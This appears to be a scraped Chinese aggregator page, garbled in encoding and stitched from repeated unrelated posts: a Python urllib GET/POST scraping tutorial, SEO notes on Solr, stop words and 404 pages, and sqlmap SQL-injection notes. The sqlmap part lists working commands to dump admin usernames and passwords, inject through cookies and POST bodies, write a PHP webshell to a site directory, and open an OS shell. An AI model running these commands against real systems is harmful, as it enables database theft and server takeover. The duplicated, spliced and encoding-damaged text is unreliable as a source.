"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/18.17763"
]
# 3.隨機設置請求頭信息
headers = {
"User-Agent": choice(user_agents)
}
# 4.將請求頭信息封裝到Request對象中
req = Request(url, headers=headers)
# 5.發(fā)送請求并打印返回值
print(urlopen(req).read().decode())
修改,然后引入urlencode函數對url進(jìn)行轉碼,然后就可以正常訪(fǎng)問(wèn)了;
省略..
from urllib.parse import urlencode
# 1.爬取站點(diǎn)訪(fǎng)問(wèn)地址
args = {'q': '電影'}
url = "https://www.douban.com/search?{}".format(urlencode(args))
省略...
從這些可以看出get方法獲取的內容是穩定的(即每個(gè)人打開(kāi)某個(gè)網(wǎng)頁(yè)獲取的信息都是一樣的),但是使用post需要輸入特定的信息,那么獲取的網(wǎng)頁(yè)內容將是具體的。在本節下面我們將繼續。
單靠文字可能并不容易理解。建議您在上手時(shí)觀(guān)看一些配套視頻,加深對基本概念的印象,進(jìn)而在實(shí)際操作中更好地理解每一步的含義。
這里推薦給大家學(xué)習一個(gè)可以免費使用的公開(kāi)課,點(diǎn)擊下方跳轉
(2)發(fā)布方法
Post 用于向服務(wù)器發(fā)送數據以創(chuàng )建/更新資源。
通過(guò) post 發(fā)送到服務(wù)器的數據存儲在 HTTP 請求的請求體中:
POST /test/demo_form.php HTTP/1.1
Host: w3school.com.cn
name1=value1&name2=value2
帖子獲取的內容不能僅僅依靠URL獲取,需要提交一些額外的信息。
這種信息在不同的網(wǎng)頁(yè)中發(fā)揮著(zhù)不同的作用。例如,在天氣查詢(xún)網(wǎng)頁(yè)中,您可能需要輸入城市信息;在登錄某些網(wǎng)頁(yè)時(shí),它也是帳號和密碼的載體。
發(fā)布請求:
?、?地址欄中不會(huì )出現數據
?、?數據大小沒(méi)有上限
?、?有請求體
?、?如果請求正文中有中文,將使用 URL 編碼!
關(guān)于 post 請求的其他一些注意事項:
通常,提交數據的HTTP請求需要編碼成URL編碼格式,然后作為URL的一部分使用,或者作為參數傳遞給Request對象。
特殊點(diǎn):
Request請求對象中有一個(gè)data參數,post請求通過(guò)Request對象中的data屬性來(lái)存儲請求體數據。
data 是一個(gè)字典,其中收錄匹配的鍵值對。
我們在這里模擬一個(gè)登錄請求:
from urllib.request import urlopen
from urllib.request import Request
from random import choice
from urllib.parse import urlencode
# 1.url與參數處理
url = "https://www.douban.com/"
args = {
'name': 'abcdef123456',
'password': '123456'
}
# 2.模擬多個(gè)瀏覽器的User-Agent(分別為Chrome、Firefox、Edge)
user_agents = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/18.17763"
]
# 3.隨機設置請求頭信息
headers = {
"User-Agent": choice(user_agents)
}
# 4.將請求頭信息封裝到Request對象中
req = Request(url, headers=headers, data=urlencode(args).encode())
# 5.發(fā)送請求并打印返回值
print(urlopen(req).read().decode())
如果沒(méi)有添加encode()函數,會(huì )報錯:
TypeError: POST data should be bytes, an iterable of bytes, or a file object. It cannot be of type str.
發(fā)布請求做一個(gè)百度翻譯:
import urllib.request as ur
import urllib.parse as up
import json
word= input('請輸入要翻譯的英語(yǔ):')
data={
'kw':word
}
data_url = up.urlencode(data)
request = ur.Request(url='https://fanyi.baidu.com/sug',data=data_url.encode('utf-8'))
reponse = ur.urlopen(request).read()
ret = json.loads(reponse)
#print(ret)
translate = ret['data'][0]['v']
print(translate)
3、總結:
Get請求和Post請求的區別
1)get 在瀏覽器回滾時(shí)是無(wú)害的,post 會(huì )再次提交請求;
2) get生成的url地址可以加書(shū)簽(加標簽),不能post;
3)get請求只能是url編碼,posts可以有多種編碼方式;
4)get 請求參數會(huì )完全保留在瀏覽器歷史記錄中,post 不會(huì )(私密瀏覽);
5) 對于參數的數據類(lèi)型,get只接受ASCII字符,post沒(méi)有限制;
6) Get請求的url傳入的參數長(cháng)度有限制,post沒(méi)有;
7)get 的安全性不如 post,因為參數直接暴露在 url 中,不能用于傳輸敏感信息;
8) url中放置了Get參數,請求體中放置了post參數;
注意: 查看全部
php抓取網(wǎng)頁(yè)指定內容(和服務(wù)器之間被用到的方法是:GET和POST。)
在客戶(hù)端和服務(wù)器之間的請求-響應中,最常用的兩種方法是:GET 和 POST。
從指定資源獲取請求數據;
POST-將要處理的數據提交到指定資源;
兩者的比較:

2、 我們來(lái)看看兩種抓包方式的異同點(diǎn);
(1)獲取方法
GET 方法是最常見(jiàn)和最簡(jiǎn)單的方法。默認的 HTTP 請求方法是 GET。
一般用于我們從服務(wù)器獲取數據,我們可以直接輸入URL,無(wú)需其他轉換,即所有需要請求的信息都收錄在URL中。
* 沒(méi)有請求體
* 數據必須在1K以?xún)龋?br /> * GET 請求數據會(huì )暴露在瀏覽器的地址欄中
關(guān)于獲取請求的其他一些注意事項:
常用操作:
?、僭跒g覽器地址欄中直接給出URL,那么一定是GET請求;
?、邳c(diǎn)擊頁(yè)面上的超鏈接也必須是GET請求;
?、?提交表單時(shí),表單默認使用GET請求,但可以設置為POST;
get請求是在url后面以拼接方式傳遞參數,但是如果參數是中文,則需要進(jìn)行轉碼,否則會(huì )報錯。
比如我們訪(fǎng)問(wèn)豆瓣官網(wǎng),在搜索框中輸入“電影”關(guān)鍵字:
可以看到瀏覽器中的請求是/search?q=movie

如果我們直接模擬上面的URL請求,會(huì )報如下錯誤:
UnicodeEncodeError: 'ascii' codec can't encode characters in position 14-15: ordinal not in range(128)
原因是在使用瀏覽器訪(fǎng)問(wèn)的時(shí)候,會(huì )自動(dòng)幫我們轉碼參數,但是現在我們用代碼訪(fǎng)問(wèn),所以需要我們自己處理。
from urllib.request import urlopen
from urllib.request import Request
from random import choice
# 1.爬取站點(diǎn)訪(fǎng)問(wèn)地址
url = "https://www.douban.com/search?q=電影"
# 2.模擬多個(gè)瀏覽器的User-Agent(分別為Chrome、Firefox、Edge)
user_agents = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/18.17763"
]
# 3.隨機設置請求頭信息
headers = {
"User-Agent": choice(user_agents)
}
# 4.將請求頭信息封裝到Request對象中
req = Request(url, headers=headers)
# 5.發(fā)送請求并打印返回值
print(urlopen(req).read().decode())
修改,然后引入urlencode函數對url進(jìn)行轉碼,然后就可以正常訪(fǎng)問(wèn)了;
省略..
from urllib.parse import urlencode
# 1.爬取站點(diǎn)訪(fǎng)問(wèn)地址
args = {'q': '電影'}
url = "https://www.douban.com/search?{}".format(urlencode(args))
省略...
從這些可以看出get方法獲取的內容是穩定的(即每個(gè)人打開(kāi)某個(gè)網(wǎng)頁(yè)獲取的信息都是一樣的),但是使用post需要輸入特定的信息,那么獲取的網(wǎng)頁(yè)內容將是具體的。在本節下面我們將繼續。
單靠文字可能并不容易理解。建議您在上手時(shí)觀(guān)看一些配套視頻,加深對基本概念的印象,進(jìn)而在實(shí)際操作中更好地理解每一步的含義。
這里推薦給大家學(xué)習一個(gè)可以免費使用的公開(kāi)課,點(diǎn)擊下方跳轉
(2)發(fā)布方法
Post 用于向服務(wù)器發(fā)送數據以創(chuàng )建/更新資源。
通過(guò) post 發(fā)送到服務(wù)器的數據存儲在 HTTP 請求的請求體中:
POST /test/demo_form.php HTTP/1.1
Host: w3school.com.cn
name1=value1&name2=value2
帖子獲取的內容不能僅僅依靠URL獲取,需要提交一些額外的信息。
這種信息在不同的網(wǎng)頁(yè)中發(fā)揮著(zhù)不同的作用。例如,在天氣查詢(xún)網(wǎng)頁(yè)中,您可能需要輸入城市信息;在登錄某些網(wǎng)頁(yè)時(shí),它也是帳號和密碼的載體。
發(fā)布請求:
?、?地址欄中不會(huì )出現數據
?、?數據大小沒(méi)有上限
?、?有請求體
?、?如果請求正文中有中文,將使用 URL 編碼!
關(guān)于 post 請求的其他一些注意事項:
通常,提交數據的HTTP請求需要編碼成URL編碼格式,然后作為URL的一部分使用,或者作為參數傳遞給Request對象。
特殊點(diǎn):
Request請求對象中有一個(gè)data參數,post請求通過(guò)Request對象中的data屬性來(lái)存儲請求體數據。
data 是一個(gè)字典,其中收錄匹配的鍵值對。
我們在這里模擬一個(gè)登錄請求:
from urllib.request import urlopen
from urllib.request import Request
from random import choice
from urllib.parse import urlencode
# 1.url與參數處理
url = "https://www.douban.com/"
args = {
'name': 'abcdef123456',
'password': '123456'
}
# 2.模擬多個(gè)瀏覽器的User-Agent(分別為Chrome、Firefox、Edge)
user_agents = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/18.17763"
]
# 3.隨機設置請求頭信息
headers = {
"User-Agent": choice(user_agents)
}
# 4.將請求頭信息封裝到Request對象中
req = Request(url, headers=headers, data=urlencode(args).encode())
# 5.發(fā)送請求并打印返回值
print(urlopen(req).read().decode())
如果沒(méi)有添加encode()函數,會(huì )報錯:
TypeError: POST data should be bytes, an iterable of bytes, or a file object. It cannot be of type str.
發(fā)布請求做一個(gè)百度翻譯:



import urllib.request as ur
import urllib.parse as up
import json
word= input('請輸入要翻譯的英語(yǔ):')
data={
'kw':word
}
data_url = up.urlencode(data)
request = ur.Request(url='https://fanyi.baidu.com/sug',data=data_url.encode('utf-8'))
reponse = ur.urlopen(request).read()
ret = json.loads(reponse)
#print(ret)
translate = ret['data'][0]['v']
print(translate)
3、總結:
Get請求和Post請求的區別
1)get 在瀏覽器回滾時(shí)是無(wú)害的,post 會(huì )再次提交請求;
2) get生成的url地址可以加書(shū)簽(加標簽),不能post;
3)get請求只能是url編碼,posts可以有多種編碼方式;
4)get 請求參數會(huì )完全保留在瀏覽器歷史記錄中,post 不會(huì )(私密瀏覽);
5) 對于參數的數據類(lèi)型,get只接受ASCII字符,post沒(méi)有限制;
6) Get請求的url傳入的參數長(cháng)度有限制,post沒(méi)有;
7)get 的安全性不如 post,因為參數直接暴露在 url 中,不能用于傳輸敏感信息;
8) url中放置了Get參數,請求體中放置了post參數;
注意:
php抓取網(wǎng)頁(yè)指定內容(如何在選擇網(wǎng)絡(luò )媒體后完善內部工作呢?(圖))
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 69 次瀏覽 ? 2021-12-13 08:11
各種搜索引擎開(kāi)源技術(shù)是開(kāi)源社區的一項奇葩技術(shù),大大縮短了構建搜索應用的周期,使得根據特定需求打造個(gè)性化應用的垂直搜索引擎系統成為可能。Solr作為一個(gè)獨立的企業(yè)搜索應用解決方案,已經(jīng)被美國很多知名的網(wǎng)站使用,比如美國最大的科技信息類(lèi)網(wǎng)站CNet。Solr 是基于高性能 Lucene 開(kāi)發(fā)的。它不僅實(shí)現了比Lucene更豐富的查詢(xún)語(yǔ)言和更好的查詢(xún)性能,而且實(shí)現了可配置、可擴展,并提供了類(lèi)似于Web服務(wù)的外部API接口。用戶(hù)可以通過(guò)Http請求向搜索引擎服務(wù)器提交指定格式的XML文件生成索引,也可以通過(guò)“Http Get”操作進(jìn)行查詢(xún)請求,得到XML格式的返回結果。Solr 與其他開(kāi)源搜索軟件相結合,成為構建行業(yè)垂直搜索引擎的首選解決方案。
對于當前的網(wǎng)絡(luò )推廣活動(dòng),有一個(gè)基本的事情需要注意。媒體只是一個(gè)廣告載體,互聯(lián)網(wǎng)實(shí)際上與媒體不同。它是一種更方便的營(yíng)銷(xiāo)工具。它需要我們更多地依靠自己的力量和思維去開(kāi)發(fā)它的使用,而不是坐等購買(mǎi)和放置。收獲。這相當于買(mǎi)了一個(gè)路牌廣告,我們要花更多的精力去考慮在這個(gè)廣告上放什么內容;而我們選擇了一個(gè)在線(xiàn)廣告,除了能夠更新廣告本身的內容,更多的是我們要考慮如何利用我們自己的網(wǎng)站平臺來(lái)做更多的協(xié)調和利用這個(gè)帶來(lái)的流量廣告變成巨額利潤。
如果說(shuō)網(wǎng)絡(luò )媒體企業(yè)的工作要按時(shí)間分類(lèi),我想20%的人選擇媒體,我們要投入80%的精力去做我們內部的工作。讓我們的網(wǎng)絡(luò )行為獲得更大的收益。選擇網(wǎng)絡(luò )媒體后如何提升內部工作?這里我們以當前最火的中小企業(yè)互聯(lián)網(wǎng)營(yíng)銷(xiāo)渠道關(guān)鍵詞搜索為例,深入探討如何理解此類(lèi)關(guān)鍵詞廣告的使用,以及如何配合互聯(lián)網(wǎng)廣告開(kāi)展內部工作。
為了節省存儲空間和提高搜索效率,搜索引擎在索引頁(yè)面或處理搜索請求時(shí)會(huì )自動(dòng)忽略某些詞或詞。這些詞或詞稱(chēng)為停用詞。一般來(lái)說(shuō),Stop Words 大致分為以下兩類(lèi): 1、 這些詞使用廣泛,在互聯(lián)網(wǎng)上隨處可見(jiàn)。比如幾乎每一個(gè)網(wǎng)站都會(huì )出現“Web”這個(gè)詞,是的,這樣的詞搜索引擎不能保證能提供真正相關(guān)的搜索結果,很難幫助縮小搜索范圍,同時(shí)減少搜索的效率;2、 這樣的類(lèi)型比較多,包括情態(tài)助詞、副詞、介詞等。、連詞等,通常本身沒(méi)有明確的含義。
比如像《IT技術(shù)評論》,雖然里面的“IT”從我們的本義來(lái)說(shuō)就是“信息技術(shù)”的意思,其實(shí)這個(gè)縮寫(xiě)可以被大多數人接受,但是對于搜索引擎來(lái)說(shuō),這個(gè)“IT”不過(guò)是“它”,意思是“它”。這在英語(yǔ)中是一個(gè)極其常見(jiàn)且非常歧義的詞,在大多數情況下會(huì )被忽略。我們在IT技術(shù)評論中保留“IT”,更多地面向“人”而不是搜索引擎,讓用戶(hù)可以理解IT技術(shù)評論網(wǎng)站的內容僅限于信息技術(shù),盡管是從SEO角度來(lái)看這可能不是處理它的最佳方式。(搜索引擎也越來(lái)越智能了,比如對相似詞的智能識別,
PR0 – 谷歌的 PageRank 0 懲罰
到 2001 年底,Google 搜索引擎對使用可疑搜索引擎優(yōu)化策略的網(wǎng)站引入了一種新的懲罰:0. 的 PageRank 在搜索引擎優(yōu)化論壇中稱(chēng)為 PR0,也應使用該術(shù)語(yǔ)這里。PR0 的特點(diǎn)是網(wǎng)站的所有頁(yè)面或至少很多頁(yè)面在 Google 工具欄中顯示的 PageRank 為 0,即使它們確實(shí)具有高質(zhì)量的入站鏈接。這些頁(yè)面并未完全從索引中刪除,但它們始終位于搜索結果的末尾,因此很難找到它們。
關(guān)于404的由來(lái),這是HTTP請求(類(lèi)似于在IE地址欄輸入地址,回車(chē),顯示信息,這是一個(gè)HTTP請求,但不僅是這個(gè),還有POST,robots等)服務(wù)器, 并且服務(wù)器在給定地址沒(méi)有找到資源時(shí)返回的狀態(tài)碼。它的英文名稱(chēng)是 SC_NOT_FOUND。
一般每個(gè)WEB服務(wù)器都會(huì )有一個(gè)默認的404頁(yè)面,目的是告訴瀏覽者請求的頁(yè)面不存在或者鏈接錯誤。這些默認頁(yè)面很丑,可能還是一堆普通網(wǎng)友看不懂的代碼(見(jiàn)上兩圖)。顯然,從SEO和用戶(hù)體驗的角度來(lái)看,這并沒(méi)有引導用戶(hù)使用網(wǎng)站的其他頁(yè)面,而是無(wú)情地關(guān)掉我們的頁(yè)面離開(kāi)。
404頁(yè)面對SEO的影響
自定義 404 錯誤頁(yè)面是提升用戶(hù)體驗的好方法,但在應用過(guò)程中往往不會(huì )注意到對搜索引擎的影響,例如:服務(wù)器端配置錯誤導致返回“200”狀態(tài)碼或在頁(yè)面上使用元刷新的自定義 404 錯誤導致返回“302”狀態(tài)代碼。正確設置的自定義 404 錯誤頁(yè)面不僅應該能夠正確顯示,而且還應該返回“404”錯誤代碼而不是“200”或“302”。雖然對于訪(fǎng)問(wèn)用戶(hù)來(lái)說(shuō),HTTP 狀態(tài)碼是“404”還是“200”沒(méi)有任何區別,但對于搜索引擎來(lái)說(shuō)卻是相當重要的。 查看全部
php抓取網(wǎng)頁(yè)指定內容(如何在選擇網(wǎng)絡(luò )媒體后完善內部工作呢?(圖))
各種搜索引擎開(kāi)源技術(shù)是開(kāi)源社區的一項奇葩技術(shù),大大縮短了構建搜索應用的周期,使得根據特定需求打造個(gè)性化應用的垂直搜索引擎系統成為可能。Solr作為一個(gè)獨立的企業(yè)搜索應用解決方案,已經(jīng)被美國很多知名的網(wǎng)站使用,比如美國最大的科技信息類(lèi)網(wǎng)站CNet。Solr 是基于高性能 Lucene 開(kāi)發(fā)的。它不僅實(shí)現了比Lucene更豐富的查詢(xún)語(yǔ)言和更好的查詢(xún)性能,而且實(shí)現了可配置、可擴展,并提供了類(lèi)似于Web服務(wù)的外部API接口。用戶(hù)可以通過(guò)Http請求向搜索引擎服務(wù)器提交指定格式的XML文件生成索引,也可以通過(guò)“Http Get”操作進(jìn)行查詢(xún)請求,得到XML格式的返回結果。Solr 與其他開(kāi)源搜索軟件相結合,成為構建行業(yè)垂直搜索引擎的首選解決方案。
對于當前的網(wǎng)絡(luò )推廣活動(dòng),有一個(gè)基本的事情需要注意。媒體只是一個(gè)廣告載體,互聯(lián)網(wǎng)實(shí)際上與媒體不同。它是一種更方便的營(yíng)銷(xiāo)工具。它需要我們更多地依靠自己的力量和思維去開(kāi)發(fā)它的使用,而不是坐等購買(mǎi)和放置。收獲。這相當于買(mǎi)了一個(gè)路牌廣告,我們要花更多的精力去考慮在這個(gè)廣告上放什么內容;而我們選擇了一個(gè)在線(xiàn)廣告,除了能夠更新廣告本身的內容,更多的是我們要考慮如何利用我們自己的網(wǎng)站平臺來(lái)做更多的協(xié)調和利用這個(gè)帶來(lái)的流量廣告變成巨額利潤。
如果說(shuō)網(wǎng)絡(luò )媒體企業(yè)的工作要按時(shí)間分類(lèi),我想20%的人選擇媒體,我們要投入80%的精力去做我們內部的工作。讓我們的網(wǎng)絡(luò )行為獲得更大的收益。選擇網(wǎng)絡(luò )媒體后如何提升內部工作?這里我們以當前最火的中小企業(yè)互聯(lián)網(wǎng)營(yíng)銷(xiāo)渠道關(guān)鍵詞搜索為例,深入探討如何理解此類(lèi)關(guān)鍵詞廣告的使用,以及如何配合互聯(lián)網(wǎng)廣告開(kāi)展內部工作。
為了節省存儲空間和提高搜索效率,搜索引擎在索引頁(yè)面或處理搜索請求時(shí)會(huì )自動(dòng)忽略某些詞或詞。這些詞或詞稱(chēng)為停用詞。一般來(lái)說(shuō),Stop Words 大致分為以下兩類(lèi): 1、 這些詞使用廣泛,在互聯(lián)網(wǎng)上隨處可見(jiàn)。比如幾乎每一個(gè)網(wǎng)站都會(huì )出現“Web”這個(gè)詞,是的,這樣的詞搜索引擎不能保證能提供真正相關(guān)的搜索結果,很難幫助縮小搜索范圍,同時(shí)減少搜索的效率;2、 這樣的類(lèi)型比較多,包括情態(tài)助詞、副詞、介詞等。、連詞等,通常本身沒(méi)有明確的含義。
比如像《IT技術(shù)評論》,雖然里面的“IT”從我們的本義來(lái)說(shuō)就是“信息技術(shù)”的意思,其實(shí)這個(gè)縮寫(xiě)可以被大多數人接受,但是對于搜索引擎來(lái)說(shuō),這個(gè)“IT”不過(guò)是“它”,意思是“它”。這在英語(yǔ)中是一個(gè)極其常見(jiàn)且非常歧義的詞,在大多數情況下會(huì )被忽略。我們在IT技術(shù)評論中保留“IT”,更多地面向“人”而不是搜索引擎,讓用戶(hù)可以理解IT技術(shù)評論網(wǎng)站的內容僅限于信息技術(shù),盡管是從SEO角度來(lái)看這可能不是處理它的最佳方式。(搜索引擎也越來(lái)越智能了,比如對相似詞的智能識別,
PR0 – 谷歌的 PageRank 0 懲罰
到 2001 年底,Google 搜索引擎對使用可疑搜索引擎優(yōu)化策略的網(wǎng)站引入了一種新的懲罰:0. 的 PageRank 在搜索引擎優(yōu)化論壇中稱(chēng)為 PR0,也應使用該術(shù)語(yǔ)這里。PR0 的特點(diǎn)是網(wǎng)站的所有頁(yè)面或至少很多頁(yè)面在 Google 工具欄中顯示的 PageRank 為 0,即使它們確實(shí)具有高質(zhì)量的入站鏈接。這些頁(yè)面并未完全從索引中刪除,但它們始終位于搜索結果的末尾,因此很難找到它們。
關(guān)于404的由來(lái),這是HTTP請求(類(lèi)似于在IE地址欄輸入地址,回車(chē),顯示信息,這是一個(gè)HTTP請求,但不僅是這個(gè),還有POST,robots等)服務(wù)器, 并且服務(wù)器在給定地址沒(méi)有找到資源時(shí)返回的狀態(tài)碼。它的英文名稱(chēng)是 SC_NOT_FOUND。
一般每個(gè)WEB服務(wù)器都會(huì )有一個(gè)默認的404頁(yè)面,目的是告訴瀏覽者請求的頁(yè)面不存在或者鏈接錯誤。這些默認頁(yè)面很丑,可能還是一堆普通網(wǎng)友看不懂的代碼(見(jiàn)上兩圖)。顯然,從SEO和用戶(hù)體驗的角度來(lái)看,這并沒(méi)有引導用戶(hù)使用網(wǎng)站的其他頁(yè)面,而是無(wú)情地關(guān)掉我們的頁(yè)面離開(kāi)。
404頁(yè)面對SEO的影響
自定義 404 錯誤頁(yè)面是提升用戶(hù)體驗的好方法,但在應用過(guò)程中往往不會(huì )注意到對搜索引擎的影響,例如:服務(wù)器端配置錯誤導致返回“200”狀態(tài)碼或在頁(yè)面上使用元刷新的自定義 404 錯誤導致返回“302”狀態(tài)代碼。正確設置的自定義 404 錯誤頁(yè)面不僅應該能夠正確顯示,而且還應該返回“404”錯誤代碼而不是“200”或“302”。雖然對于訪(fǎng)問(wèn)用戶(hù)來(lái)說(shuō),HTTP 狀態(tài)碼是“404”還是“200”沒(méi)有任何區別,但對于搜索引擎來(lái)說(shuō)卻是相當重要的。
php抓取網(wǎng)頁(yè)指定內容(我的另一個(gè)筆記整理:可能是網(wǎng)上最易懂的SQL手工注入教程)
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 58 次瀏覽 ? 2021-12-13 07:09
Sqlmap 也是滲透中常用的注入工具。其實(shí)在注入工具方面,一個(gè)sqlmap就夠了。只要你熟悉它,它只是一個(gè)方便的問(wèn)題。另一方面,sql注入是一個(gè)手動(dòng)派對。這是另一回事。
今天把我整理的sqlmap筆記發(fā)布出來(lái)供大家參考。
教程說(shuō)明
在學(xué)習sqlmap之前,建議先了解一下SQL注入的實(shí)現原理和基本的手動(dòng)注入操作,這樣更容易理解sqlmap的使用。
我的另一個(gè)筆記整理:可能是網(wǎng)上最通俗易懂的SQL手動(dòng)注入教程【個(gè)人筆記整理精華】
sqlmap注入waf可以參考:sqlmap注入篡改繞過(guò)WAF防火墻過(guò)濾
sqlmap 介紹
sqlmap 支持五種不同的注入模式:
sqlmap支持的數據庫有
MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase 和 SAP MaxDB
檢測注入的基本格式
sqlmap -u ""
默認使用 level1 檢測所有數據庫類(lèi)型
sqlmap -u “” –dbms mysql –level 3
指定數據庫類(lèi)型為mysql,級別為3(共5級,級別越高檢測越全面)
關(guān)注302跳轉
注入頁(yè)面錯誤時(shí),自動(dòng)跳轉到另一個(gè)頁(yè)面時(shí)需要遵循302。
注入錯誤的時(shí)候,先報錯再跳轉就不需要跟著(zhù)302了。
目的是:追蹤錯誤信息。
cookie 注入
當程序有反get注入時(shí),可以使用cookie注入
sqlmap -u "" -cookie "id=11" -level 2 (只有級別達到2才會(huì )檢測到cookie)
從post包注入
可以使用burpsuite或tempdata等工具抓取post包
sqlmap -r "c:\tools\request.txt" -p "username" -dbms mysql 指定用戶(hù)名參數
注入成功后獲取數據庫基本信息
sqlmap -u “” –dbms mysql –level 3 –dbs
哪些數據庫可供查詢(xún)
sqlmap -u “” –dbms mysql –level 3 -D test –tables
查詢(xún)測試數據庫中有哪些表
sqlmap -u “” –dbms mysql –level 3 -D test -T admin –columns
查詢(xún)test數據庫中admin表的哪些字段
sqlmap -u “” –dbms mysql –level 3 -D test -T admin -C “用戶(hù)名,密碼” –dump
轉儲用戶(hù)名和密碼字段中的數據
其他命令參考如下
從數據庫中搜索字段
sqlmap -r “c:\tools\request.txt” –dbms mysql -D dedecms –search -C admin,password
在 dedecms 數據庫中搜索字段 admin 或 password。
讀寫(xiě)文件
首先找到需要網(wǎng)站的物理路徑,其次需要有寫(xiě)權限或者讀權限。
--File-read=RFILE 從后端數據庫管理系統文件系統中讀取文件(物理路徑)
--File-write=WFILE 編輯后端數據庫管理系統文件系統上的本地文件(mssql xp_shell)
--File-dest=DFILE 后端數據庫管理系統寫(xiě)入的文件的絕對路徑
?。@樱?br /> sqlmap -r “c:\request.txt” -p id –dbms mysql –file-dest “e:\php\htdocs\dvwa\inc\include\1.php” –file-write “f:\ webshel??l\1112.php"
使用 shell 命令:
sqlmap -r “c:\tools\request.txt” -p id –dms mysql –os-shell
接下來(lái)指定網(wǎng)站的可寫(xiě)目錄:
"E:\php\htdocs\dvwa"
#注意:mysql不支持列出目錄,只支持讀取單個(gè)文件。sqlserver可以列出目錄,但是不能讀寫(xiě)文件,但是需要一個(gè)(xp_dirtree函數)
sqlmap詳細命令:
——————————————————————————————————————
選項:
sqlmap -u "" -dbs -o "sqlmap.log" 保存進(jìn)度
sqlmap -u "" -dbs -o "sqlmap.log" -resume 恢復保存的進(jìn)度
目標:
至少需要設置下面的選項之一來(lái)設置目標 URL。
要求:
這些選項可用于指定如何連接到目標 URL。
枚舉:
這些選項可用于列出后端數據庫管理系統的信息、表中的結構和數據。此外,您還可以運行
您自己的 SQL 語(yǔ)句。
優(yōu)化:
這些選項可用于優(yōu)化 SqlMap 的性能。
注射:
這些選項可用于指定要測試的參數、提供自定義注入有效負載和可選的篡改腳本。
檢測:
這些選項可用于指定在 SQL 盲注期間如何解析和比較 HTTP 響應頁(yè)面的內容。
技巧:
這些選項可用于調整特定的 SQL 注入測試。
指紋: 蠻力:
這些選項可用于運行蠻力檢查。
用戶(hù)自定義函數注入:
這些選項可用于創(chuàng )建用戶(hù)定義的函數。
--udf-inject 注入用戶(hù)定義函數
--Shared-lib=SHLIB 共享庫本地路徑
文件系統訪(fǎng)問(wèn):
這些選項可用于訪(fǎng)問(wèn)后端數據庫管理系統的底層文件系統。
操作系統訪(fǎng)問(wèn):
這些選項可用于訪(fǎng)問(wèn)后端數據庫管理系統的底層操作系統。
Windows 注冊表訪(fǎng)問(wèn):
這些選項可用于訪(fǎng)問(wèn)后端數據庫管理系統的 Windows 注冊表。
這些選項可用于設置一些通用的工作參數。
雜項(雜項): 查看全部
php抓取網(wǎng)頁(yè)指定內容(我的另一個(gè)筆記整理:可能是網(wǎng)上最易懂的SQL手工注入教程)
Sqlmap 也是滲透中常用的注入工具。其實(shí)在注入工具方面,一個(gè)sqlmap就夠了。只要你熟悉它,它只是一個(gè)方便的問(wèn)題。另一方面,sql注入是一個(gè)手動(dòng)派對。這是另一回事。
今天把我整理的sqlmap筆記發(fā)布出來(lái)供大家參考。

教程說(shuō)明
在學(xué)習sqlmap之前,建議先了解一下SQL注入的實(shí)現原理和基本的手動(dòng)注入操作,這樣更容易理解sqlmap的使用。
我的另一個(gè)筆記整理:可能是網(wǎng)上最通俗易懂的SQL手動(dòng)注入教程【個(gè)人筆記整理精華】
sqlmap注入waf可以參考:sqlmap注入篡改繞過(guò)WAF防火墻過(guò)濾
sqlmap 介紹
sqlmap 支持五種不同的注入模式:
sqlmap支持的數據庫有
MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase 和 SAP MaxDB
檢測注入的基本格式
sqlmap -u ""
默認使用 level1 檢測所有數據庫類(lèi)型
sqlmap -u “” –dbms mysql –level 3
指定數據庫類(lèi)型為mysql,級別為3(共5級,級別越高檢測越全面)
關(guān)注302跳轉
注入頁(yè)面錯誤時(shí),自動(dòng)跳轉到另一個(gè)頁(yè)面時(shí)需要遵循302。
注入錯誤的時(shí)候,先報錯再跳轉就不需要跟著(zhù)302了。
目的是:追蹤錯誤信息。
cookie 注入
當程序有反get注入時(shí),可以使用cookie注入
sqlmap -u "" -cookie "id=11" -level 2 (只有級別達到2才會(huì )檢測到cookie)
從post包注入
可以使用burpsuite或tempdata等工具抓取post包
sqlmap -r "c:\tools\request.txt" -p "username" -dbms mysql 指定用戶(hù)名參數
注入成功后獲取數據庫基本信息
sqlmap -u “” –dbms mysql –level 3 –dbs
哪些數據庫可供查詢(xún)
sqlmap -u “” –dbms mysql –level 3 -D test –tables
查詢(xún)測試數據庫中有哪些表
sqlmap -u “” –dbms mysql –level 3 -D test -T admin –columns
查詢(xún)test數據庫中admin表的哪些字段
sqlmap -u “” –dbms mysql –level 3 -D test -T admin -C “用戶(hù)名,密碼” –dump
轉儲用戶(hù)名和密碼字段中的數據
其他命令參考如下
從數據庫中搜索字段
sqlmap -r “c:\tools\request.txt” –dbms mysql -D dedecms –search -C admin,password
在 dedecms 數據庫中搜索字段 admin 或 password。
讀寫(xiě)文件
